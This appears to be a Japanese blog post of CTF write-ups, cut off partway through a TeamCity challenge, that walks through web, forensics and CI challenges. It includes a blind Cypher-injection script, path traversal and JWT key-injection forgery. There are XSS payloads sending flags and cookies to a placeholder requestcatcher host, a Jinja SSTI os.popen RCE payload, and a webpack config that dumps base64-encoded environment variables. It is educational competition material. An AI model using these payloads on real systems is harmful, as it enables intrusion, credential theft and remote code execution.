はまやんはまやんはまやん

hamayanhamayan's blog

TBTL CTF 2024 Writeup

https://ctftime.org/event/2324

[Web] Butterfly

ソースコード無し。アクセスしてみると難読化されたjavascriptが含まれていた。https://obf-io.deobfuscate.io/ に入れてみると比較的読める形になる。IndexedDBが使われていたので、公式ドキュメントを見ながら、見やすいように変名して、重要そうな所を抜粋すると以下のようになる。

indexedDB.deleteDatabase("strangeStorage");
var request = indexedDB.open("strangeStorage", 1);
request.onupgradeneeded = function (event) {
  var db = event.target.result;
  var objectStore = db.createObjectStore("FLAG", {
    "keyPath": 'id',
    "autoIncrement": true
  });
  objectStore.createIndex("letter", "letter", {
    unique: false
  });
};
request.onsuccess = function (event) {
  var db = event.target.result;
  var transaction = db.transaction(["FLAG"], "readwrite");
  var objectStore = transaction.objectStore("FLAG");
  enc = ["UW=(X4s}@(BFLzW1(2}vGpzzgQNy;&L4H??)(5Q+40sB|^/s2bRfBst-x[ELa|VNS)uoYsX3P]`Fx36ClT_HA?rl", [... redacted ...] , '>aA/`=:_6ZhJm)eN;h;L>+~Q^6@RJUtR+H^]Q0kbsMd3c.Sk8{n,J>Hb*bOHnaJ2AdBFnA`MK[v5itlMJw-h|G/='];
  for (const line in enc) {
    var val = enc[line][line].charCodeAt();
    var dec = (val * val + 3 * val + 1 - (val + 1) * (val + 1)) * (2 * (line + 1) / (line + 1)) >> 1;
    objectStore.add({
      'letter': String.fromCharCode(dec)
    });
  }
};
code = atob("Q3J5cHRvSlMuQUVTLmRlY3J5cHQoQ0lQSEVSVEVYVCwgS0VZKS50b1N0cmluZyhDcnlwdG9KUy5lbmMuVXRmOCk=");
localStorage.setItem("execute", JSON.stringify({ "code": code }));
sessionStorage.setItem("KEY", atob("c2VjcmV0IGtleSBpcyB2ZXJ5IHNlY3VyZQ=="));

IndexedDBに入れられているものをまず取り出してみると何かのエンコード物のようなものが手に入る。次に、code部分をbase64デコードすると以下のようなスクリプトだった。

CryptoJS.AES.decrypt(CIPHERTEXT, KEY).toString(CryptoJS.enc.Utf8)

AESでKEYを使って復元してやればよさそう。以下のようにコードを作り実行すると、フラグが得られる。

enc = ["UW=(X4s}@(BFLzW1(2}vGpzzgQNy;&L4H??)(5Q+40sB|^/s2bRfBst-x[ELa|VNS)uoYsX3P]`Fx36ClT_HA?rl", [... redacted ...] ,'>aA/`=:_6ZhJm)eN;h;L>+~Q^6@RJUtR+H^]Q0kbsMd3c.Sk8{n,J>Hb*bOHnaJ2AdBFnA`MK[v5itlMJw-h|G/='];
flag = "";
for (const line in enc) {
    var val = enc[line][line].charCodeAt();
    var dec = (val * val + 3 * val + 1 - (val + 1) * (val + 1)) * (2 * (line + 1) / (line + 1)) >> 1;
    flag += String.fromCharCode(dec);
}

var CryptoJS = require("crypto-js"); // npm install crypto-js
CIPHERTEXT = flag;
KEY = atob("c2VjcmV0IGtleSBpcyB2ZXJ5IHNlY3VyZQ==");
dec = CryptoJS.AES.decrypt(CIPHERTEXT, KEY).toString(CryptoJS.enc.Utf8);
console.log(dec);

[Web] Mexico City Tour

ソースコード有り。DBとしてneo4jが動いており、以下のようにcipherのクエリが作られている。ただ埋め込まれているのでインジェクション可能。Cipher Injectionしよう。

distance_query = f'MATCH (n {{id: {start}}})-[p *bfs]-(m {{id: {end}}}) RETURN size(p) AS distance;'

ということで162をstartStationにして、145}) RETURN 1337 AS distance; //をendに入れてみると1337が出てきた。うまくいっていますね。結果は数値でしか取得できないので、(文字を数値に変換して抜けそうではあるが…)ブラインドで使えそうなクエリを探していこう。

145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where a.title = '' or 3 <= size(keys(a)) return 1 AS distance; //
-> 1
145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where a.title = '' or 4 <= size(keys(a)) return 1 AS distance; //
-> unknown

いろいろみながら試すとこのような感じでブラインドで抜き取りできそうな式ができた。これを使って、以下のようにカラムを抜いてみる。

import requests
import time
BASE = 'http://ctf.dev.tbtl.io:8001/'
DIC = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_'

def test(payload):
    t = requests.post(BASE + 'search', data={'startStation':'162','endStation':payload}).text
    time.sleep(1)
    return 'unknown' not in t

# Find the size of columns
ok = 0
ng = 256
while ok + 1 != ng:
    md = (ok + ng) // 2
    if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where " + str(md) + " <= size(keys(a)) return 1 AS distance; //"):
        ok = md
    else:
        ng = md

size_of_columns = ok
print(f"The size of columns is {size_of_columns}")

# Find the column
for i in range(size_of_columns):
    ok = 0
    ng = 256
    while ok + 1 != ng:
        md = (ok + ng) // 2
        if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where " + str(md) + " <= size(keys(a)[" + str(i) + "]) return 1 AS distance; //"):
            ok = md
        else:
            ng = md

    length = ok
    print(f"The length of column {i} is {length}")

    key = ''
    for j in range(length):
        for c in DIC:
            if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where substring(keys(a)[" + str(i) + "],"+ str(j) + ",1)='" + c + "' return 1 AS distance; //"):
                key += c
                print(key)
                break

実行すると…

$ python3 solver.py 
The size of columns is 3
The length of column 0 is 2
i
id
The length of column 1 is 4
n
na
nam
name
The length of column 2 is 4
f
fl
fla
flag

flagカラムがあるようです。試しに145}) WHERE 1=0 RETURN -1 AS distance UNION MATCH (b) WHERE 0 < size(b.flag) RETURN b.id AS distance; //とすると-1が帰ってきました。かなりそれっぽい。145}) WHERE 1=0 RETURN -1 AS distance UNION MATCH (b) WHERE b.id = -1 RETURN size(b.flag) AS distance; //とすると30と出てきたので30文字のようです。同様にブラインドで持ってきましょう。以下のスクリプトでフラグが得られる。

import requests
import time
BASE = 'http://[redacted]/'
DIC = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'

def test(payload):
    t = requests.post(BASE + 'search', data={'startStation':'162','endStation':payload}).text
    time.sleep(1)
    return 'unknown' not in t

flag = 'TBTL{wh3R3_15_mY_'
for i in range(len(flag), 30):
    for c in DIC:
        print(f"testing... {flag}{c}")
        if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) WHERE a.id = -1 AND substring(a.flag,"+ str(i) + ",1)='" + c + "' return 1 AS distance; //"):
            flag += c
            print(f"found!!!!!!!!!! {flag}")
            break

[Web] Rnd For Data Science

ソースコード有り。以下のような構成になっている。

        ┌────────┐   ┌──────────────────┐
 ──────►│        ├──►│                  │
        │ app.py │   │ generator_app.py │
 ◄──────┤        │◄──┤                  │
        └────────┘   └──────────────────┘

まず、generator_app.pyは以下。

@app.route("/", methods=['POST'])
def index():
    delimiter = request.form['delimiter']

    if len(delimiter) > 1:
        return 'ERROR'

    num_columns = int(request.form['numColumns'])
    if num_columns > 10:
        return 'ERROR'

    headers = ['id'] + [request.form["columnName" + str(i)] for i in range(num_columns)]

    forb_list = ['and', 'or', 'not']

    for header in headers:
        if len(header) > 120:
            return 'ERROR'
        for c in '\'"!@':
            if c in header:
                return 'ERROR'
        for forb_word in forb_list:
            if forb_word in header:
                return 'ERROR'

    csv_file = delimiter.join(headers)

    for i in range(10):
        row = [str(i)] + [str(rnd.randint(0, 100)) for _ in range(num_columns)]
        csv_file += '\n' + delimiter.join(row)

    row = [str('NaN')] + ['FLAG'] + [flag] + [str(0) for _ in range(num_columns)]
    csv_file += '\n' + delimiter.join(row[:len(headers)])

    return csv_file

適当にデータを作り、末尾にFLAGを追加している。numColumns=2&columnName0=a&columnName1=b&delimiter=%2Cというリクエストを送ると、以下のように帰ってくる。

id,a,b
0.0,61,32
1.0,99,5
2.0,40,83
3.0,94,58
4.0,23,54
5.0,64,56
6.0,36,32
7.0,51,30
8.0,94,77
9.0,71,78
NaN,FLAG,フラグ

しかし、app.py側で以下のようにフラグを削除している。

# Filter out secrets
first = list(df.columns.values)[1]
df = df.query(f'{first} != "FLAG"')

2行目がFLAGのものを見つけてきているので、delimiterを_とかにして1行に全部入れ込む方法を考えてみよう。つまり、numColumns=2&columnName0=a&columnName1=b&delimiter=_としてみる。すると500応答が帰ってきた。これは上記のフィルタリング処理で[1]と指定しているため添え字エラーになるため。

なので、,は入れてやる必要がありそうだが…と考えると、最初のカラム名,を含めればいい感じになるのでは?ということで以下のようにしてやるとフィルタリング回避できた。

POST /generate HTTP/1.1
Host: tbtl-rnd-for-data-science.chals.io
Content-Length: 54
Content-Type: application/x-www-form-urlencoded
Connection: close

numColumns=2&columnName0=,a&columnName1=,b&delimiter=_


HTTP/1.1 200 OK
Server: Werkzeug/3.0.2 Python/3.8.17
Date: Sat, 11 May 2024 02:25:59 GMT
Content-Disposition: inline; filename=data.csv
Content-Type: text/csv; charset=utf-8
Content-Length: 182
Cache-Control: no-cache
Connection: close

"id_"_"a_"_b
"0_100_9"__
"1_21_54"__
"2_71_31"__
"3_33_60"__
"4_9_80"__
"5_44_18"__
"6_64_59"__
"7_11_79"__
"8_53_3"__
"9_71_53"__
"NaN_FLAG_TBTL{■■■■■■■■■■■■■■■■■■■}"__

カラム部分が["id",",a",",b"]_で結合されて、id_,a_,bとなるため、良い感じにカラム数を演出できる。

[Web] Talk To You

ソースコード無し。サイトを巡回するとGET /?page=offer.htmlという通信が発生していた。LFIというかパストラバーサルっぽい。

とりあえずGET /?page=../etc/passwdしてみるといつものが得られた。色々guessするとGET /?page=../flag.txtで以下のように応答がある。

Flag is in SQLite3: database.sqlite

ということでGET /?page=database.sqliteすると文字化けするが中身が見られてフラグが得られる。

squ1rrel CTF 2024 Writeups

https://ctftime.org/event/2370

web/Key Server

ソースコード有り。JWTトークンを検証してadmin判定をするサーバが与えられる。tokenの検証方法が特殊で以下のように行っている。

const verifyToken = async (req, res, next) => {
    const token = req.cookies["token"];
    if (!token) {
        return res.status(401).send("Token cookie missing");
    }

    const { header } = jwt.decode(token, { complete: true });
    if (!header?.issuer || !header?.alg) {
        return res.status(401).send("Headers missing");
    }

    let issuer;
    try {
        issuer = new URL(header.issuer);
    } catch (e) {
        return res.status(401).send("Failed to parse URL");
    }

    if (!issuer.host.startsWith("10.")) {
        return res.status(401).send("Invalid IP address");
    }

    // fetch public key from local key server
    let publicKey;
    try {
        publicKey = await (await fetch(header.issuer)).text();
    } catch (e) {
        return res.status(401).send("Failed to get public key");
    }

    try {
        const verified = jwt.verify(token, publicKey, { algorithms: ["RS256"] });
        if (!verified) {
            return res.status(401).send("Invalid token");
        }
        
        if (verified.user === "admin") {
            return next();
        } else {
            res.status(401).send("Not admin!");
        }
    } catch (e) {
        res.status(401).send("Verification error");
    }
};

注目すべきはif (!issuer.host.startsWith("10.")) {の部分でホスト部10.から始まっていれば信頼して公開鍵を検証用に取得しに行っている部分である。Private IPアドレスを想定しているのだろうが、サブドメインでも似たような形が取れる。なので、10.から始まるサブドメインを取得して、自作の公開鍵をホストし、その公開鍵での検証を強制させることにする。攻撃手順は以下。

  1. openssl genrsa -out private_key.pem 4096 && openssl rsa -in private_key.pem -pubout -out public_key.pemでキーペアを作る
  2. 公開鍵を配布するサーバを用意する(自分はこういうときはいつもconoha)
  3. public_key.pemを置いて、webサーバとして公開する(python3 -m http.server 80で十分)
  4. 10.hamayanhamayan.com A [webサーバのIPアドレス]みたいにDNSレコードを用意する
  5. jwtを作る。Headerは{"alg": "RS256", "typ": "JWT", "issuer":"http://10.hamayanhamayan.com/public_key.pem"}で、Payloadは{"user":"admin"}、手順1で作った秘密鍵で署名をする
  6. 最後は以下のようにリクエストすればフラグが得られる。
GET /admin HTTP/1.1
Host: [redacted]
Cookie: token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImlzc3VlciI6Imh0dHA6Ly8xMC5oYW1heWFuaGFtYXlhbi5jb20vcHVibGljX2tleS5wZW0ifQ.eyJ1c2VyIjoiYWRtaW4ifQ.QYeI_d8xWgk0A2GTe6_PlgdcISb8aDHRR0GfkwMzmJfqzv6Xgi3L4fg7cIkxRJMGnpWD7u8HYW0Msj5bi68vIAaQf1kdZx_6AW3ltQFB_i7dZ9Cw-P-WESXv73YQ9XYdc0eKxeUwPURJv3EDrbfZXOT1y3JaTp72eKginHV8_3UbYp-tTsWiRFX0DbeQCfXxePkyjaXy5AbC9qSD2NcCYAZ7O-RKklq7R96gO3VpYzLt56DtMPfEv3co03diE4IjRk36sVXcC_vAKSe3OpJtUJ_iAfhvgpebKZncsSDLealMJe4Z1ZMG32zWra2jpaPnFY0gqCVetkAmTmKp4pqrV5xj8xGiQzxDQcW_jssT1ZiF4MrePsy-gMVmtQ5FTWRJUxFaszssb0PfTKz9uXZ4JMIFcWi-Ybma1tkL5DO_clYZKS4jWZmAai0Yp0K4ZEfRZ7XwTnTBtpPj94h52jd2U-CPqVZAGw3-mNrrV_zwD-hYsETPTOkAJ5sXgXbG20eA8f69QkMz7U7vaTnVcL7MRx6rJuijHffjYFugEcDkZTj5ElROdHl2z0_KH8kCAQ3-91BM6DkDVzs_3bNpbbA0TY_018gwuPbO2ApGRjaRzcZKDxpfretnrT4gfG0CGT1PcF8c87ANq5lyNkWCzBGEg2lDJy5EhuK3svcrzKQOoPg

BSidesSF 2024 CTF Writeups

https://ctftime.org/event/2357

[Forensics] doctor

SuperSecretWordDoc.docxというファイルが与えられる。拡張子のdocxをzipに変えて解凍してみると、image0.pngという画像が入っており、中身を見るとフラグが書いてある。

[Forensics] [101] javai

JavAI.docxというファイルが与えられる。docxファイルはzipファイルとして展開可能なので、変名して展開する。中にgetflag.classというファイルが入っていた。stringsコマンドで適当に文字列を抜き出してみるとフラグが書いてあった。

[Web] match-one

ソースコード無し。神経衰弱ができるサイトが与えられる。適当に遊んでクリアしてからフラグを要求すると

You got some pairs wrong, reset the game and try again!

と言われる。全問正解でないと駄目なようだ。GET /homeにアクセスするとゲームがリセットされるが、この応答でカードのaltに番号が付けられていて、何番のカードがどこにあるかが応答で分かってしまう。

<div class="memory-card" data-id="2" data-value="2">
    <img class="front-face" src="/static/images/2.png" alt="BSidesSF" />
    <img class="back-face" src="/static/images/back.png" alt="2" />
</div>

これは2番のカード。これにより、盤面の状態をすべて把握できるので、ノーミスで神経衰弱をクリアするとフラグがもらえた。

[Terminal] [101] meow

ターミナルへのアクセスが与えられる。特に制約はなく、/home/ctf/flag.txtを読む問題。cat /home/ctf/flag.txtでフラグ獲得。

[Terminal] No Tools

ターミナルへのアクセスが与えられる。バイナリが色々が使えなくなっていて、/home/ctf/flag.txtを読む問題。色々使えないが、shの組み込み機能だけでファイルは読める。ref

while read line; do
  echo $line;
done <flag.txt

[Forensics] [101] undelete

floppy.imgというディスクイメージが与えられて隠されたファイルを取得する問題。

101問題だからか、how_to_solve.txtという解き方が書かれたファイルが与えられる。その中からbinwalkで解いた。binwalk -v --dd='png' -C . floppy.imgとして、4400というファイルがpngファイルとして取れてくるので中を見るとフラグが書いてある。

[Web] web-tutorial系

XSSできるサイトが与えられるので、管理者権限でGET /xss-???-flagを読んでフラグを得る問題群。

[Web] web-tutorial-1

<script>alert(1);</script>XSSできるという情報と、管理者権限でGET /xss-one-flagすればフラグが得られるという情報が与えられるので、フラグを抜いてくる入門問題。

<script>fetch('/xss-one-flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: e })})</script>

という感じでフラグを抜いた。

[Web] web-tutorial-2

今度は自分でXSSする術を考える必要がある。管理者権限でGET /xss-two-flagが取得できればフラグ獲得。CSPは

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-7PWgzDadXIQqWUNSsQGcXToQztIYLQ0n'; connect-src *; style-src-elem 'self' fonts.googleapis.com fonts.gstatic.com; font-src 'self' fonts.gstatic.com fonts.googleapis.com

という感じで、埋め込み方は

[input]
<script nonce="7PWgzDadXIQqWUNSsQGcXToQztIYLQ0n" src="woof.js"></script>

という感じ。woof.jsというのはあるが、404エラーになっていた。base-uriが無い、かつ、default-srcが適用されないのでbaseタグによる差し込みが行えそう。まず、woof.jsという名前で以下のようなファイルを作成する。

fetch('https://web-tutorial-2-3ebcc611.challenges.bsidessf.net/xss-two-flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: e })})

次に、これをpythonでwebサーバーを立ててホスト python3 -m http.server 8989 し、ngrokで公開 /opt/ngrok http 8989 する。 ngrokから払い出されたドメインを使ってbaseタグを用意して、<base href="https://e6b0-126-221-138-223.ngrok-free.app/" />のように送ればbaseタグによってwoof.jsが自前でホストしたものに差し替えられ、XSSが達成できる。

[Web] web-tutorial-3

管理者権限でGET /xss-three-flagが取得できればフラグ獲得。CSPは以下のような感じ。

Content-Security-Policy: default-src 'self' 'unsafe-inline';script-src 'self' data:;connect-src *;style-src-elem 'self' fonts.googleapis.com fonts.gstatic.com;font-src 'self' fonts.gstatic.com fonts.googleapis.com

script-srcとしてdata:が許可されているので、それを使ってjavascriptを実行できる。

<script src="data:text/javascript,fetch('/xss-three-flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/test',{method:'post',body:e})})"></script>

[Forensics] ztxt

ztxt.pngというファイルが与えられる。問題文は以下のような感じ。

Ze zhope zou zan zind zour zlag zin ztext zhunk

zstegかな…と思ってやってみると正解。

$ zsteg ztxt.png 
meta flag           .. text: "CTF{■■■■■■■■■■■■■■}"
imagedata           .. text: "UUUUUUUUUUUUUUVfffffwvfffffUUUVfUfffUUUUUUUUUEUVeUUUUUUfefeUVfffffVfffffffffffwvUUfffffgvfgvfffffVfgeUUfffUUfffffffffffffVfeUVfffgfffffffgvfffffgvgwwwwfgfwwwwwwwvfffgwvvffwwwwwwvffvffffffggegwvwffeUVfefffUUUVffffffffVfffffffffeUVgfgwffeVffffUUUVfffffffffffUUUfffeUVfffUUVffffUUUUUfffeUfffeUUUVfffffffffffVfVffeUVUUfffffffgfffffffgvfffffeVfffffffveUUffffffffffffefffUUUUUVUUUfeUVUVfgfwgwffffffUfUUUffffeUUffgveffeVffffVffffffwffeUUUUUUUUVfffffffffffffgwffffffffffffUffUfffffeUUfffffwffffffffffUUUff"
b2,r,msb,xy         .. file: VISX image file
b2,b,lsb,xy         .. text: "UUUUUUU]U"
b4,r,lsb,xy         .. text: "UUUUUUU\\"
b4,r,msb,xy         .. text: "wwwwwwwwwwwwww733333"
b4,g,lsb,xy         .. text: ["3" repeated 20 times]
b4,b,lsb,xy         .. text: "wwwwwwwwwwwwwwy"

[Web] business-expense

ソースコード有り。管理者に承認が得られるサイトが与えられる。問題文に

There is also an admin user that is periodically accessing certain endpoints.

と記載があり、admin.htmlが以下のような感じでXSSできそうな見た目をしているので、/adminに定期アクセスがあるんだろう。

<td>
    {{ v.expense | safe}}
</td>
<td>
    {{ v.cost }}
</td>
<td>
    {{ v.currency | safe}}
</td>

まずはXSSを達成する。

XSS

上記にあるようにexpenseとcurrencyでXSS発生できる可能性がある。これらを代入している所を探すとPOST /api/saveExpensesで使われている。

@app.route('/api/saveExpenses', methods=['POST'])
@login_required
def save_expenses():
    for expense in request.json:
        if len(expense["expense"]) > 50:
            return "Expense names must be less than 50 characters long", 400
        expense["expense"] = escape(expense["expense"])

        if not expense["cost"].replace('.', '', 1).isdigit():
            return "Expense costs must be a number", 400

        if len(expense["currency"]) > 10:
            return "Expense currency must be less than or equal to 10 characters", 400

    
    current_user.expenses = json.dumps(request.json)
    current_user.status = "Updated"
    db.session.commit()

    return "Looks good", 200

expanseはescapeがかまされているが、currencyの方は長さチェックだけ行われている。10文字以下であることが強制されているが、型チェックが無いので配列を使えば回避できそうである。やってみよう。GET /adminに表示させるにはキューに入れる必要がある。

  1. 適当にアカウントを作り、ログイン
  2. POST /api/saveExpensesで自分のcurrencyを["<script>fetch(`https://[yours].requestcatcher.com/test?${document.cookie}`);</script>"]とする
POST /api/saveExpenses HTTP/2
Host: business-expense-14bece99.challenges.bsidessf.net
Cookie: session=.eJwljkuKAzEMRO_idRaSZX2cyzS2LDFDYAa6k1XI3ccw8DZVtaj3LkeecX2V-_N8xa0c36vcixJ1jfANVJUBZKQtAIe2FT1NZDQD9HSuHia1j9oRkYmbB7L2lisqzOQ-eBoxjTrBSGwNtY37lMycoD1D9hqsqDxpefayRV5XnP82ojv7debx_H3Ez27IJ7taE9p-nG6OAsNYsHIsXE77N6CVzx8I_j9v.ZjciKg.oFQB_AjOw50V6WASYk3kZkNcn5E
Content-Length: 156
Content-Type: application/json;charset=UTF-8

[{"expense":"dinner","cost":"50","currency":["<script>fetch(`https://[yours].requestcatcher.com/test?${document.cookie}`);</script>"]}]
  1. POST /api/addToQueueでキューに入れる
  2. adminが踏むのを待つ

これで試すと踏まれた!XSSは達成できた。しかし、sessionトークンはHttpOnlyで取得はできないようだ。しょうがないので、このまま攻撃を進める。

RCE

ここからRCEにつないでいく。以下のように不自然にテンプレートを使っている所がある。

@app.route('/api/getStatus', methods=['GET'])
@login_required
def get_status():
    out = ""
    if current_user.status == "Accepted":
        out = "<div style=\"color:green;\">"+current_user.status+"</div>"
    elif current_user.status == "Denied":
        out = "<div style=\"color:red;\">"+current_user.status+"</div>"
    else:
        out = "<div>"+current_user.status+"</div>"

    return render_template_string(out)

ユーザーのstatusが変更できればこれは達成できそう。statusの変更は以下のようにやる。POST /api/updateExpenseStatusでできそう。

@app.route('/api/updateExpenseStatus', methods=['POST'])
@login_required
def update_expense_status():
    if current_user.admin:
        if len(users_queue) > 0:
            if users_queue[0][1] == request.json["popID"]:
                user = load_user(users_queue.pop(0)[0])
                user.status = request.json["status"]

                db.session.commit()
                return "Looks good", 200
            else:
                return "Invalid popID", 400
        else:
            return "No pending requests", 400
    else: 
        return "Must be an admin to access this page", 403

実はこれの呼び出しが管理人がやっていることで、admin.jsを見ると呼び出しコードがある。

window.addEventListener("load", () => {

    document.querySelector("#approve").onclick = () => statusButtons.updateStatus("Accepted", document.getElementById("approve").value);
    document.querySelector("#deny").onclick = () => statusButtons.updateStatus("Denied", document.getElementById("deny").value);
    
});

var statusButtons = {
    updateStatus : (message, popID) => {
        var xhttp = new XMLHttpRequest();
        xhttp.open("POST", "/api/updateExpenseStatus")
        xhttp.setRequestHeader("Content-Type", "application/json")
        xhttp.onreadystatechange = () => {location.reload();};
        xhttp.send(JSON.stringify({"popID": popID, "status": message}))
        console.log(xhttp.status)
    }
}

よって、これに従って呼んでやればいいのだが、botのソースが無いので謎のバグが取れず、非常に難航。以下のようなHTMLをいい感じに送ると更新できた。adminが踏んだ後にGET /api/getStatusにアクセスすると{{4*4}}が評価されて16が帰ってくることが確認できる。かなり動作は不安定。

<script>
const sleep = ms => new Promise(r => setTimeout(r, ms));
setTimeout(async () => {
    fetch(`https://[yours].requestcatcher.com/log1`);
    var xhttp = new XMLHttpRequest();
    xhttp.open('POST', '/api/updateExpenseStatus');
    xhttp.setRequestHeader('Content-Type', 'application/json');
    xhttp.send(JSON.stringify({'popID': document.getElementById('approve').value, 'status': '{{4*4}}'}));
    fetch(`https://[yours].requestcatcher.com/log2`);
}, 0)
</script>
<img src='https://ba43-86-48-12-221.ngrok-free.app/sleep.jpg'>

動作不安定すぎてやばかったが、何とか{{request.application.__globals__.__builtins__.__import__(request.args.a).popen(request.args.b).read()}}を送り込むことができた。これでGETパラメタ経由でRCEできるようになった。後は色々やると以下でフラグが得られる。

GET /api/getStatus?a=os&b=cat%20%2fapp%2fflag.txt HTTP/2
Host: business-expense-14bece99.challenges.bsidessf.net
Cookie: session=.eJwljkuKAzEMRO_idRaSZX2cyzS2LDFDYAa6k1XI3ccw8DZVtaj3LkeecX2V-_N8xa0c36vcixJ1jfANVJUBZKQtAIe2FT1NZDQD9HSuHia1j9oRkYmbB7L2lisqzOQ-eBoxjTrBSGwNtY37lMycoD1D9hqsqDxpefayRV5XnP82ojv7debx_H3Ez27IJ7taE9p-nG6OAsNYsHIsXE77N6CVzx8I_j9v.ZjciKg.oFQB_AjOw50V6WASYk3kZkNcn5E

Punk Security DevSecOps Birthday CTF - 2024 Writeup

https://ctftime.org/event/2285

5位!

[Password Cracking] Password Cracking - 1 解いてない

flag.miami_californiaというファイルが与えられる。時間が無かったのと、0 solvesだったので解かなかったが、拡張子からShadeランサムウェアの暗号化ファイルであることが分かり、漏洩済みキーから復号化するのが正答とのこと。

[Password Cracking] Password Cracking - 2 解けなかった

You may need a TEAM to unSCRAMBLE this
zxx637ff4b3a1818507aee953fa0681aa0c

これをクラックする問題。全く糸口が無く分からなかった。

Discordでやり取りがあり、これでクラック可能らしい。
https://github.com/jacksingleton/teamcity-unscrambler

[Password Cracking] Password Cracking - 3

cHVua197VGhleV9hcmVfbm90X2FsbF90aGlzX2Vhc3l9

これをクラックする問題。base64だった。デコードするとフラグが出てくる。

[Password Cracking] Password Cracking - 4

cb5e8a23ec9e46a858372247af29a414

これをクラックする。CrackStationに投げると出てくる。collisionだった。

[Password Cracking] JWsT crack it

Webサイトが与えられる。題名からJWTみがあるので、Cookieを見てみると以下のようなtokenが入っていた。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6ZmFsc2V9.Hzfn6EknH8QxRsz4N4CYtJ0xFFi4IjB4b0yXHYUEZeA

ジャンルがPassword Crackingなのでクラックしてみる。

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 512/512 AVX512BW 16x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
punksnotdead     (?)     
1g 0:00:00:00 DONE (2024-05-05 01:50) 10.00g/s 327680p/s 327680c/s 327680C/s 123456..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワードが分かった。jwt.ioでJWT全体を見てみると、Payloadが{"is_admin": false}だったので、{"is_admin": true}にして署名しなおして、Cookieにセットしなおす。この状態で/adminにアクセスするとフラグが得られた。

[Misc] IntoTheWebs

ドメインpunksecurity.co.ukの登録日を調べる問題。

VirusTotalで答えを見つけることができた。Whois Lookupを見ると、Registered onが12-Feb-2021なのでこれを様式通り答えればよい。

[Misc] CISO Simulator

CISO SIMULATORというゲームが起動するので遊ぶ。CISOになりきり施策を決め、セキュリティ侵害を一定の範囲に収めれば勝ち。

まず最初に予算の使い方を決める。アンチウイルス、WAF、Cloud Audit、Penetration Test、Consultancyを入れておいた。それから、6か月間それぞれについて、各月何をするかを決定する。

  • 初月はWAF, SASTを実行した。セキュリティ侵害は起こらなかった。
  • 次月はFix Cloud Issueをした。セキュリティ侵害は起こらなかった。
  • 3カ月目はSecret Scanningをした。セキュリティ侵害は起こらなかった。
  • 4カ月目はDASTをした。セキュリティ侵害は起こらなかった。
  • 5カ月目はMonitoring and Loggingをした。セキュリティ侵害が起こり、60kユーロ損害。
  • 6カ月目はIncident Responseをした。それはそう。セキュリティ侵害は起こらなかった。

損害が500kユーロ未満だったのでフラグがもらえた。1発クリア。

[Misc] Hungry punk 解いてない

ポケモンGOのスクショがもらえるので場所を特定するOSINT問題。ローカルネタっぽかったのでパス

[Teamcity] Teamcity - Easy

TeamCityと認証情報が与えられる。ログインしてみると、1つプロジェクトがある。ビルドステップを見ると、以下のような感じ。

echo %env.flag% | sha256sum

出力結果はコンソールから見られるのでsha256sumを消してそのまま出力してやろうと思ったが、マスクされてしまった。それならと思い、base64で出力させると成功する。つまり、以下のように変更する。

echo %env.flag% | base64

実行ログにbase64エンコードされたフラグが乗ってくるのでデコードして答える。

[Teamcity] Teamcity - Medium

TeamCityとGiteaが与えられ、認証情報もそれぞれ与えられる。TeamCity側で用意されているビルドプロジェクトを見てみると、以下のようなビルドスクリプトになっていた。

cd webpack-app
webpack

webpackが動く。

Giteaを見てみよう。punkctf/webpack-appというレポジトリがある。javascriptのコード群が入っていて、webpack用にwebpack.config.jsも含まれている。よって、このレポジトリをうまく改変し、webpackが実行された際に任意のコードが実行できればよさそう。

webpack.config.jsを修正してRCEすれば良さそうなので、ChatGPT3.5に聞いて適当に作る。gitea経由で以下のように変更する。

const path = require('path');
const webpack = require('webpack');

module.exports = {
    entry: './src/index.js',
    output: {
        filename: 'main.js',
        path: path.resolve(__dirname, 'dist'),
    },
    plugins: [
        new webpack.ProgressPlugin({
            handler: (percentage, message, ...args) => {
                if (percentage === 0) {
                    console.log('Build Starting');
                }
                if (percentage === 1) {
                    console.log('Build Finished');
                }
            },
        }),
  ],
};

これでビルドプロセスを動かしてみるが、Error: Cannot find module 'webpack'と怒られる。という訳で、別の方法がないか、ChatGPTを問い詰めると、以下のように普通に書けばいいよと教えてくれた。それもそうか。

const path = require('path');

module.exports = {
    entry: './src/index.js',
    output: {
        filename: 'main.js',
        path: path.resolve(__dirname, 'dist'),
    },
};

console.log('Can you see me?');

これを実行すると、ビルドログにCan you see me?が出てくるので、あとはRCEする。

console.log(require('child_process').execSync('env | base64').toString());

フラグは環境変数に入っていた。そのまま出すとマスクされるのでbase64でいい感じに取り出してくる。

[Teamcity] Teamcity - Hard

TeamCityとその認証情報が与えられる。Projectとして2つ入っている。

  • Challenge/whoami
    • ビルドステップはwhoamiするだけ
    • 編集可能
  • FlagHasher/FlagHasher
    • ビルドステップはsleep 5が設定されている
    • パラメタとしてenv.flagが設定されている
    • 編集不可能

フラグを得るにはFlagHasherのビルド実行経由で取得する必要があるが、編集できるのはwhoamiの方だけなのでどうしようかという部分が課題となる。注目すべきはビルドしているエージェントを共有している部分で、編集可能なwhoamiの方で何かを仕込んで、FlagHasherでうまく実行させてやればよさそう。FlagHasherでsleepが実行されているが、フルパス指定ではないのでPATH環境変数を弄ってやればよさそう?

whoami側で以下コマンドを実行してみる。

pwd
echo $PATH
->
/opt/buildagent/work/d1df6864f98d2599
